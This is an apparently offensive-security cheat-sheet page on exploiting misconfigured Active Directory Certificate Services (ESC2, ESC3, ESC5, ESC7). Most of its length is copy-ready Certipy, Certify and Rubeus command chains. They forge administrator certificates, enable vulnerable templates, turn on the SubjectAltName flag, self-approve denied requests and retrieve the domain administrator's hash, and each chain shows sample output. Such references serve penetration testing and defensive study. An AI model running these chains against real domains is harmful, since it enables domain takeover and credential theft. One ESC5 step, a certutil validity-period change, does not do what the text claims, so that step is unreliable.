# ADCS Exploitation: ESC2, ESC3, ESC5, ESC7

> Exploiting misconfigured ADCS certificate templates and CA permissions (ESC2, ESC3, ESC5, ESC7) to escalate privileges or impersonate users in Active Directory.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/adcs-esc2-esc3-esc5-esc7
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-06-11
- **Updated:** 2026-08-11

Additional ADCS misconfigurations beyond the most common ESC1/ESC4/ESC8 paths. Run `certipy find -vulnerable` to identify which ESC variants are present before choosing an attack chain. These techniques require [ADCS Misconfiguration Discovery](https://hackindex.io/platforms/active-directory/vulnerability-discovery/adcs-misconfiguration-discovery) first to confirm the exact condition.

## ESC2: Any Purpose EKU

The certificate template has the `Any Purpose` Extended Key Usage or no EKU at all. This means certificates issued from this template can be used for any purpose, including client authentication and enrollment agent operations. If the template also allows enrollee-supplied subjects, exploit it exactly like ESC1. If not, use the issued certificate as an enrollment agent for a subsequent ESC3-style chain.

#### Kali (Certipy)

**ESC2 exploitation (Certipy)**

```bash
# Identify ESC2 templates
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -vulnerable

# If template allows enrollee-supplied subject: same as ESC1
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $ESC2_TEMPLATE -upn administrator@$DOMAIN -dc-ip $TARGET_IP
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

# If template does NOT allow custom subject: use cert as enrollment agent for ESC3 chain
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $ESC2_TEMPLATE -dc-ip $TARGET_IP
# Then continue with ESC3 step 2 using this certificate
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Windows (Certify)

**ESC2 exploitation (Certify)**

```powershell
# With enrollee-supplied subject
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC2_TEMPLATE /altname:administrator

# Convert and authenticate
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /ptt
```

## ESC3: Enrollment Agent

Two templates are required. The first has the `Certificate Request Agent` EKU: obtaining it makes your certificate an enrollment agent. The second allows enrollment agents to request certificates on behalf of other users. With both, you can issue a certificate for any user including Domain Admin.

#### Kali (Certipy)

**ESC3 two-step chain (Certipy)**

```bash
# Step 1: Obtain enrollment agent certificate from ESC3 condition 1 template
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $ESC3_TEMPLATE_1 -dc-ip $TARGET_IP

# Step 2: Use enrollment agent cert to request cert on behalf of Domain Admin
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $ESC3_TEMPLATE_2 -on-behalf-of '$DOMAIN\administrator' -pfx $USER.pfx -dc-ip $TARGET_IP

# Authenticate as Domain Admin
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
# # Step 1:
# [*] Saved certificate and private key to '$USER.pfx'
#
# # Step 2:
# [*] Saved certificate and private key to 'administrator.pfx'
#
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Windows (Certify)

**ESC3 two-step chain (Certify)**

```powershell
# Step 1: Enrollment agent certificate
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC3_TEMPLATE_1

# Step 2: Request on behalf of Domain Admin
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC3_TEMPLATE_2 /onbehalfof:$DOMAIN\administrator /enrollcert:$USER.pfx /enrollcertpw:<pfxpassword>

# Authenticate
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /ptt
```

## ESC5: CA object ACL misconfiguration

If you have write rights on the CA object in AD (`pKIEnrollmentService` or `certificationAuthority` in `CN=Public Key Services,CN=Services,CN=Configuration`), you can modify the CA configuration: enable disabled templates, add enrollment officers, or set the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag that makes every template behave like ESC1.

#### Kali (Certipy)

**ESC5: enable vulnerable template via CA object write**

```bash
# Identify CA object write access
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -vulnerable

# List templates currently enabled on CA
certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -list-templates

# Enable a disabled template that has ESC1/ESC2 conditions
certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -enable-template $VULN_TEMPLATE

# Now exploit the newly enabled template (as ESC1)
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $VULN_TEMPLATE -upn administrator@$DOMAIN -dc-ip $TARGET_IP
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
# [*] Successfully enabled 'VulnerableUserTemplate'
#
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Windows (RSAT)

**ESC5: modify CA object via AD**

```powershell
# Check ACL on CA object in AD
$caPath = "CN=Public Key Services,CN=Services,CN=Configuration,$BASE_DN"
Get-DomainObjectAcl -SearchBase $caPath -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -match $USER -and
    $_.ActiveDirectoryRights -match 'Write|GenericAll'
}

# Modify CA object with certutil (requires CA management tools)
certutil -config '$CA_HOST\$CA_NAME' -setreg CA\ValidityPeriodUnits 10
```

## ESC7: CA management rights

Two CA management rights enable privilege escalation:

- **ManageCA**: can set the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag on the CA, making every template in the CA behave like ESC1. One command turns the entire CA into an ESC1 target.
- **Issue and Manage Certificates**: can approve pending or denied certificate requests. Exploit chain: request a cert from a restricted template (request is denied/pending), then approve your own request.

#### Kali (Certipy): ManageCA

**ESC7 ManageCA: enable SubjectAltName on CA**

```bash
# Identify ManageCA rights
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -vulnerable

# Enable EDITF_ATTRIBUTESUBJECTALTNAME2 (makes every template ESC1-able)
certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -enable-attribute EDITF_ATTRIBUTESUBJECTALTNAME2

# Now request cert with arbitrary UPN using any template
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template User -upn administrator@$DOMAIN -dc-ip $TARGET_IP
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

# Cleanup: disable the flag after use
certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -disable-attribute EDITF_ATTRIBUTESUBJECTALTNAME2
# [*] Successfully enabled 'EDITF_ATTRIBUTESUBJECTALTNAME2' on '$CA_NAME'
#
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Kali (Certipy): Issue Certs

**ESC7 Issue and Manage Certificates: approve own request**

```bash
# Step 1: Request cert from SubCA template: will be denied
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template SubCA -upn administrator@$DOMAIN -dc-ip $TARGET_IP
# Note the request ID from output

# Step 2: Approve own request using Issue and Manage Certificates right
certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -issue-request $REQUEST_ID

# Step 3: Retrieve the approved certificate
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -retrieve $REQUEST_ID -dc-ip $TARGET_IP

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
# [*] Request ID is 23
# [*] Request 23 successfully issued
# [*] Saved certificate and private key to 'administrator.pfx'
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

## References

- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - find -vulnerable, ca -enable-attribute / -issue-request / -enable-template, req -on-behalf-of
- [Certify (GitHub)](https://github.com/GhostPack/Certify) - Windows-side ESC2/ESC3 request chains with /onbehalfof flag
- [Certified Pre-Owned: SpecterOps](https://posts.specterops.io/certified-pre-owned-d95910965cd2) - Original ESC1-8 definitions and attack chains by Will Schroeder and Lee Christensen